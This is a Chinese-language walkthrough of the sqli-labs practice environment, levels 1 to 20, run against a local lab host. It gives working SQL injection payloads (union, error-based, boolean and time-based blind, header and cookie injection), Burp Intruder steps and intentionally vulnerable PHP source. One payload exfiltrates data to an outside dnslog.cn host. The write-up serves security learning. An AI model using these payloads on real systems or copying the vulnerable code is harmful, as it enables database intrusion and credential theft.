sqli-labs通关手册(page-1 part)
基础知识
字符型注入和数字型注入
-
当输入的参数为整形时,存在注入漏洞,则是数字型注入,而字符型注入的参数是字符串。所以后面直接加上逻辑语句是会执行的。
-
数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。如果后面直接加上逻辑语句会被闭包在引号中,看作是字符串的一部分,不会执行该部分代码。
双查询注入
首先理解一下子查询,就是在select之中还有一个select,例子:select concat(select database())这个句子会先从子查询开始,select database()这个语句就会把当前的数据库查出来,然后把结果传入到concat函数中,有concat函数对结果进行连接再次进行查询。
-
Rand()随机函数:返回大于0,小于1之间的数(不是整数)。
-
Floor()取整函数:返回小于等于你输入的数的整数。
-
Count()汇总函数:COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入)。COUNT(*) 函数返回表中的记录数。
-
Group by clause分组语句:用于结合合计函数,根据一个或多个列对结果集进行分组。最好看看实例,见该页面SQL GROUP BY 语句 (w3school.com.cn)
-
SELECT floor(rand()*2)
;其结果只能是0和1 -
SELECT CONCAT(select database(),FLOOR(RAND()*2));
这里就是将database和随机生成的0和1结合,如我们现在是在security数据库下,那么结果只会返回security0和security1
-
select concat(select database(),floor(rand()*2)) from users;
这里是从数据库中的某表取数据,所以这里有多少个用户,就会有多少个类似security1或security0
-
如果是从information_schema.schemata表里,这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果
-
然后加上group by语句,也就是将结果聚合
select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
得到结果,把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。 -
最后加上聚合函数,
select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;
这个时候就会报错
ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’
形成原因
在SQL语句中有count和group by,mysql同样会先创建一张临时表,有设置了unique约束的group_key和tally(计数器的意思)两个字段,如在上面的例子中,unique字段就是我们设置的a。
创建好临时表后,MySQL开始逐行扫描information_schema.tables表,遇到第一个分组的列是由concat((select database()), floor(rand()*2))
计算出的security0(有可能),便去临时表中的group_key查询是否有值为security0的一行,发现没有就在临时表中新增加了一行,但是我们后面的随机数有可能出现security1或者security0(在对半概率情况下只要表中列数够多总会出现)那么就会报错,因为设置了unique,是不可重复的。
--+
在MySQL数据库中,单行注释有#
和--
,但在实际操作中#号一般用%23
来表示。而--
则用--+
来表示。因为在URL中,如果最后加上--
,浏览器在发送请求的时候会把URL末尾的空格舍去,而+
号在被url编码后就会变成空格。
数据库内容
-
information_schema,系统数据库,包含所有数据库的相关信息。
-
information_schema.schemata中的schema_name列,字段为所有数据库名称。
-
information_schema.tables中的table_name列对应数据库所有表名称,其中table_schema列是所有数据库名。
-
information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名称。
database()函数
返回默认或当前数据库的名称。. DATABASE ()函数返回的字符串或名称使用utf8字符集。. 如果没有默认数据库,则Database函数返回NULL。
order by语法
ORDER BY column1[ASC|DESC],column2[ASC|DESC],......
用于指定按表中的某个字段名进行排序。如果用数字的话,它的使用就是省略了字段名称直接使用num数字来代替相应位置的字段名称。常用于判断表中一共有几列数据。
group_concat()
group_concat([DISTINCT]要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
将group by 产生的同一个分组中的值连接起来,并返回一个字符串结果。
例子:
例:select name, group_concat (id) from student group by name;
小明 | 1,5,6
小丽 | 2,4
小伟 | 3
小红 | 7
union
union查询就是把2条或多条sql语句的查询结果,合并成一个结果集。其使用前提是结果集合中的列数是一致的。而且,如果结果集中取出的列名字不一样,任然能够继续使用union,而且最终列名以第一条 sql为准。
concat_ws
CONCAT_WS(separator,str1,str2,...)
表示连接之用的分隔符,它是concat()的一种特殊形式。第一个参数是分隔的参数的其余部分。分隔符是要连接的串之间加入。分隔符可以是一个字符串,如可以是参数的其余部分。如果分割符是NULL,则结果为NULL。
回显点
联合注入是需要显示结果的,这里就会用到一个叫回显点的东西。
回显点就是SQL查询结果显示在页面上的位置,有回显点的SQL注入叫做回显点注入。
在用order by知道了表的列数后,就可以通过联合查询返回需要会显的信息了。
想要显示我们需要的信息,可以将当前的查询结果置空,即判断条件改为false。比如一共有3列,我们需要构造?id = -1 union select 1,2,3 from xxx where xxx
,含义就是,数据库查询不到id=-1的数据,就不会有结果返回,也就不会有显示,但是后面的语句会查询出来,也就会出现在原先显示的位置,这样就把我们想要的数据查询出来了。
Less-1 GET-Error based -Single quotes -String(基于错误的GET单引号字符型注入)
-
根据题目提示用GET方法输入参数id,发现界面正常。
-
输入单引号试一下参数是否是闭包的。发现出错,而且有错误提示,说明数据库的错误提示没有关掉,而且是字符型注入。因为id加上了引号。
由于我们初次做sql注入所以这里我们结合源代码看一下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
所以显然这里加引号后,加入的引号就和前面的引号闭合了,id='1''
后面那个单引号由于找不到另一个单引号作闭合那么这条sql语句就会报错了。所以从这里我们可知类型为单引号字符型。
-
知道其类型就可以开始构造语句了。使用“order by”查列数,,....。此处以数字1,2,3...指定以某一列为key进行排序,通过尝试得出列数。
http://192.168.235.130/sqli/less-1/?id=1' order by 1(2,3,4) --+//单引号和后面的语句都被注释了
输入1,2,3均正常,但是输入4就出现错误了。且出现错误提示。
提示没有第四列。
-
找回显位,由上面判断出共有三列,那么我们就看看信息具体显示在哪。使用union select 1,2,3来判断前一个表结构数量。
http://192.168.235.130/sqli/less-1/?id=-1' union select 1,2,3 --+
显然,2,3列就是信息显示的地方。
那么我结合源代码来看一下回显的原理。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
源代码会将接收到的参数在数据库中查询,如果找得到结果的话,结果就会显示出来Your Login name:x
Your Password:x
,如下图
这是数据库中找得到的,但是,如果数据库中找不到相应的id值,就啥也不显示,如下图。其实就是源代码中的else情况,只是else情况是报错,但是找不到是不会报错的。
那么利用这一点就可以用union了,union后,$sql
就有值了,union就可以将后面那个查找的结果集显示出来
-
这样我们想要在数据库中查找显示出来的信息就都可以了。想要下面进行联合注入。注:union查询中要求的前后两个语句所产生的表结构相同。
联合查询数据库名
http://192.168.235.130/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
联合查询表名
http://192.168.235.130/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查到有表users,猜测里面可能有用户信息。
联合查询表中的列名
http://192.168.235.130/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='users' --+
找到关键字username和password
继续联合查找,找到所有用户名和密码并用符号“~”分割开来。
http://192.168.235.130/sqli/Less-1/?id=-1' union select 1,group_concat(concat('~~',username,password)),3 from users --+
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
-
加单引号查看闭合方式判断是字符型注入还是数字型注入,也就是输入的id不用
''
闭包了
http://192.168.235.130/sqli/Less-2/?id=1'单引号与后面的字段没有闭合,说明是数字型注入
-
所以这里我们就不需要在id+单引号了。其余语句跟上面一毛一样,只是不要单引号。
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
-
仍然使用单引号检查闭包方式。
发现输入的参数id除了用单引号闭合之外 ,猜测这里id前面还有个还有个引号,那么我们在后面得让这个括号闭合。
所以我们构造这样的语句,id后先后加入’
和)
对前面的语句进行闭包
http://192.168.235.130/sqli/Less-3/?id=-1') union select 1,2,3 --+
其他语句与less1是类似的
Less-4 GET - Error based - Double Quotes -String(基于错误的GET双引号字符型注入)
-
加单引号看看情况,发现不报错
-
猜测有可能是双引号闭合,所以后面加入双引号,
加双引号不报错,直接蚌埠住了,而且源代码也确实显示是双引号
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-5 GET-Double Injection - Single Quotes - String(双注入GET单引号字符型注入)
-
随便选个id,页面如下,而且是没有显回的。也就是返回的数据库信息都被隐匿了。
-
加单引号
出现错误,得知是单引号型闭合。也就是字符型。
-
查回显点,跟上面是一样,就不重复叙述了。
-
构造基于双注入查询注入报错语句。查所有数据库数据库,其核心还是子查询语句中的
select group_concat(schema_name) from information_schema.schemata
,外包了一层双查询注入。
http://192.168.235.130/sqli/Less-5/?id=1' union select 1,count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand()*2)) as a from information_schema.schemata group by a --+
结果如下,有可能执行一次出不来,因为这是有一定概率的事情,如果表中的项数少了就会这样。
-
其他语句也是这样,一步一步查就可以了,在这个外包的语句下加上我们想要查询的各种数据X就可以了
http://192.168.235.130/sqli/Less-5/?id=1' union select 1,count(*),concat((X),floor(rand()*2)) as a from information_schema.schemata group by a --+
http://192.168.235.130/sqli/Less-5/?id=1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.schemata group by a --+
后略
Less-6 GET-Double Injection - Double Quotes - String(双注入GET双引号字符型注入)
-
双引号符不报错,再次蚌埠。
Less-7 GET-Dump into outfile - String (导出文件GET字符型注入)
-
猜测其闭合结构
get方法输入id=1,未显示结果,但是提示使用输出文件。
使用
?id=1'
,提示有错,但未显示是什么错。注释后面的语句,
?id=1' --+
还是有错,加双引号,括号闭包都有错,最后加上双括号才没错?id=1' )) --+
-
提示要用到文件输出,猜测可能有文件写入的权限。直接构造语句测试一下。而这个文件首先得放在除本主机外能访问的目录下,如www目录下,
http://192.168.235.130/sqli/Less-7/?id=1' )) union select 1,2,3 into outfile "./test.php" --+
C:\phpstudy_pro\WWW\sqli\Less-7
没权限上传不了,寄。
Less-8 GET-Blind - Boolian based Based -Single Quotes(布尔型单引号GET盲注)
-
加单引号,出错,但是不会显示(与正常显示页面不同),所以是盲注。
2.闭合一下,注释后面的句子页面显示正常。
-
开始构造盲注语句,猜数据库库名长度
http://192.168.235.130/sqli/Less-8/?id=1' and (length(database()))<10 --+
回显正常,说明长度确实小于10
http://192.168.235.130/sqli/Less-8/?id=1' and (length(database()))<6 --+
回显不正常,说明长度大于5
.....
http://192.168.235.130/sqli/Less-8/?id=1' and (length(database()))=8 --+
回显正常,说明长度等于8
-
盲注猜测数据库名,下面用burp suite进行这个过程。
-
打开浏览器代理,设置burp suite为监听端口模式。构造如下语句后发送,burp suite截获到该请求。
http://192.168.235.130/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+
-
发送到intruder模块,设置这两个地方为payload,并且模式设置为cluster bomb模式,因为两个有效负载的位置的字典需要设置为不同的。
-
设置payload规则,并设置相应字典,第一个位置payload字典就是上面查出来的长度即1-8,每个数字分别对应该数据库名称的相应位置。
payload set为1,表示第一个位置的payload,payload type选择simple list即可,不需要太复杂。
-
第二个payload位置需要设置的字典稍微复杂一点,需要设置26个字母大小写和数字的ASCII码共62个。
这里我们可以先生成一个ascii文件以便重复使用
在payload set为2的页面,仍只需要simple list模式,payload options中点左侧load按钮,加载我们刚刚的ascii码文件即可。
可以看到,payload set那里会生成多少个request包也显示出来了。好,现在就可以点攻击按钮了
-
结果页面
但是通过前面的观察,我们发现页面正常时会返回you are in
字样,因此我们可以把结果过滤一下,查找有相应字样的response,点上方击filter
设置过滤规则。
得到结果
ASCII转码过来就是:s(115)e(101)c(99)u(117)r(114)i(105)t(116)y(121),security,得到结果
-
盲注猜表名
后续过程照着3的步骤用burp suite进行,就不再复述了,但注意查询语句可以结合着less1来进行。
-
盲注猜列名
-
盲注猜内容
Less-9 GET-Blind-Time based - double quotes(基于时间的GET型单引号盲注)
-
使用
id=-1
不加引号,加单引号,加双引号,页面都是一摸一样,那么就猜测,无论输入错误与否,页面都会返回true,也就是页面不会改变,也就无法从其特征值来观察select语句的正确性。
来,看一下源码是怎么回事。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
可以很明显地看到啊,无论怎么输入,都会显示You are in......,报错的两行也都被注释掉了。
-
那么这个时候,就需要用到基于时间的盲注了。首先判断是字符型还是数字型注入,单引号还是双引号。
http://192.168.235.130/sqli/Less-9/?id=1 and sleep(15) --+
可以看到是秒进。
http://192.168.235.130/sqli/Less-9/?id=1' and sleep(15) --+
可以看到页面确实等待了15秒往上,说明是单引号注入。去掉了了id后面的单引号,你会发现是秒加载的,因为sql语句有错嘛,就不会执行sleep语句了。当然不一定都需要查看网络中的具体秒数,因为这是能直接感知的,这里我只是为了直观一点而已。
-
开始构造盲注语句,猜数据库库名长度
http://192.168.235.130/sqli/Less-9/?id=1' and if((length(database()))<10,sleep(15),1) --+
这句话的执行逻辑是长度小于10,所以执行sleep(15)这一语句。所以database()的长度是小于10的。
-
得到长度后其余过程与上面就类似的,只是多了if语句和sleep语句,判断的方法变得不一样了而已。但是注意一下,在burp suite中的判断方法也有点不一样了。就是如何判断response的先后顺序的问题
构造如下语句,发送到intruder
http://192.168.235.130/sqli/Less-9/?id=1' and if(ascii(substr(database(),n,1))=n,sleep(15),1) --+
得到结果时,记得将Response completed
这一列给点出来,然后按时间倒叙
得到如下结果,前面八个就是我们想要的字符串组合
后面的我就不写了
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
题如其名,除了是双引号,其他的跟less-9是一样的,我就不重复叙述了。
Less-11 POST - Error Based - Single quotes - String(基于错误的POST型单引号字符注入)
-
先抓个包,看看post提交的什么字段,发现会提交两个字段分别是uname和passwd
-
查询是字符注入还是整数型注入,是字符型的话是单引号还是双引号。
uname=1 and 1=2 --&passwd=&submit=Submit
不报错,所以是字符型注入。查单或双,顺便查查列数
uname=1' order by 3 --&passwd=&submit=Submit
没有第三列,那多半是两列了
uname=1' order by 3 --&passwd=&submit=Submit
-
查回显位
uname=1' union select 1,2 -- &passwd=&submit=Submit
两个位置都会回显
-
查数据库名称
uname=1' union select database(),2 -- &passwd=&submit=Submit
那后面的步骤跟前面就无差别了Less-01
Less-12 POST - Error Based - Single quotes - String(基于错误的POST型双引号字符注入)
除了是双引号外跟less11无异
Less-13 POST - Double Injection - Single quotes - String - twist(POST单引号变形双注入)
-
查数字型或字符型,单引号或双引号,根据错误提示,发现是单引号+括号。
-
确定列数
-
查回显点
uname=1') union select 1,2 -- &passwd=&submit=Submit
发现是没有回显的,因为有数据库错误提示,所以可根据错误提示来构造双注入语句
3.构造双注入语句查当前数据库
uname=1') union select count(*),concat((select databse()),floor(rand()*2)) as a from information_schema.columns group by a -- &passwd=&submit=Submit
-
后面的步骤就跟Less-5一样了,就不再赘诉了
Less-14 POST - Double Injection - Double quotes - Sting - twist(POST双引号变形双注入)
除了是双引号外,与less-13无异
Less-15 POST - Blind - Boolian/Time Based - Single quotes(基于bool型/时间延迟单引号POST型盲注)
-
查数字型还是字符型,是字符型的话是单引号还是双引号或其他形式
uname=1'--&passwd=&submit=Submit
但是发现我们怎么折腾,都不会报错啊,所以得采用盲注了,但是盲注有点啰嗦,这里我们采另一种方法,DNSLOG显回注入
-
构造DNSlog显回注入,用的是DNSlog platform
and load_file(concat('\\\\',(select database()),'.k1s3rk.dnslog.cn\\1.txt')
但是我这个又有点问题,显示端没有反应,测试了一下,应该是load_file()函数又有点问题,调用了却不执行。
-
那么又要回头用老办法盲注了。因为在这个页面中我并不知道有提交字段是否有true或false的差别。所以这里我们用POST语句测试一下
uname=1' union select 1,2 -- &passwd=&submit=Submit
猜测其sql语句是一列用户名一列密码,所以这里我们用联合查询用永真数值替代原本的查询结果,使结果字符串存在不为NULL
其结果会显示登录成功,那么这个时候的盲注就可以以基于bool的盲注或是基于时间延迟的盲注就都可以选择。
-
基于bool的盲注
构造盲注语句,但是我思考了很久都想不出基于bool的盲注怎样构造。因为如果用union select的话一定会得到正值。
uname=1' union select 1,2 and (length(database()))<10 -- &passwd=&submit=Submit
-
基于时间的盲注
构造时间延迟盲注语句。
uname=1' union select 1,if((length(database()))<10,sleep(15),1) -- &passwd=&submit=Submit
页面延迟,构造成功,后面的语句替换if中的判断语句即可。后面的我就不再写了。
Less-16 POST - Blind - Boolian/Time Based - Double quotes(基于bool型/时间延迟的双引号POST型盲注)
单引号换双引号。
Less-17 POST - Update Query - Error Based - String(基于错误的更新查询POST注入)
-
首先用burp suite截包,看看提交的字段内容名
黑盒注入
-
找注入点,先测试用户名部分
a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#
发现以上构造都不行。
再对密码部分进行测试。
uname=a&passwd=a')#&submit=Submit uname=a&passwd=a'))#&submit=Submit uname=a&passwd=a"#&submit=Submit uname=a&passwd=a")#&submit=Submit uname=a&passwd=a"))#&submit=Submit
发现还是不行。
那么这个时候我们思考一下,在以上对密码部分的测试中 输入的用户名都是不存在的,那么我们输入一个实际存在的用户名测试一下效果。
显示修改密码成功,但是报错了,从该报错可以知道,第一是本题中是有错误显示的,第二是在passwd处存在单引号注入点。
其实我们可以根据这个来猜测其源码,有可能是两个查询语句,第一个查询根据uname判断,判断该用户是否存在,第二个查询则是用户,修改密码。
那么有了这个注入点就可以干很多事情了,比如updatexml()报错注入和双查询注入等基于错误的报错。
-
构造updatexml()报错注入语句
uname=admin&passwd=1' and updatexml(1,concat('~',(select database()),'~'),1) -- &submit=Submit
后续语句替换select部分即可
白盒注入
我们看一下源代码
function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,15); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } $uname=check_input($_POST['uname']); $passwd=$_POST['passwd']; @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); //echo $row; if($row) { echo '<font color= "#0000ff">'; $row1 = $row['username']; echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo "<br>"; if (mysql_error()) { echo '<font color= "#FFFF00" font size = 3 >'; print_r(mysql_error()); echo "</br></br>"; echo "</font>"; } else { echo '<font color= "#FFFF00" font size = 3 >'; //echo " You password has been successfully updated " ; echo "<br>"; echo "</font>"; } echo '<img src="../images/flag1.jpg" />'; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font size="4.5" color="#FFFF00">'; //echo "Bug off you Silly Dumb hacker"; echo "</br>"; echo '<img src="../images/slap1.jpg" />'; echo "</font>"; }
由上述源代码我们可以看到,在接收数据阶段,会对用户输入uname用一个check_input阶段,在该函数中
-
substr取前十五个字符
-
mysql_real_escape_string()函数对特殊字符转义。
但是没有对passwd的检查
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
在此句中,uname是必须正确且存在的,而且uname是经过检查的,所以我们可以利用的就是这一句,$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
后续注入使用上面的语句即可
Less -18 POST -Header Injection - Agents filed - Error based(基于错误的用户代理,头部POST注入)
这道题我们就直接白盒了,不搞黑盒了。在本题中,uname和passwd都经过了check_input()函数过滤,所以直接对两者进行注入是行不通了。
但是我们发现了宁一个函数
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
而urgent又是对头部中user_urgent的引用
$uagent = $_SERVER['HTTP_USER_AGENT'];
所以这就是注入点。在hackbar或者burp suite加入此注入语句都是可以的。
注入语句,extractvalue()报错
1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#
但是我的靶机好像又有点问题,没有成功
Less - 19 POST - Header Injection - Referer field -Error based(基于头部的Referer POST报错注入)
注入点为post提交的referer字段,步骤跟less18一致。
Less - 20 POST - Cookie injection - Uagent field - Error based(基于错误的cookie头部POST注入)
白盒注入
关键语句
if(!isset($_POST['submit'])) { ... $cookee = $_COOKIE['uname']; $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; ... }
当未使用submit提交报文时,服务器端从cookie字段获取值然后进行查询,而且这个查询是未经检查的,那么这样,我们就找到了我们的注入点,在cookie的uname字段提交我们的注入语句
uname=admin' and extractvalue(1,concat('~',(select database()),'~')) --+
得到结果
剩余注入语句在改格式下中修改即可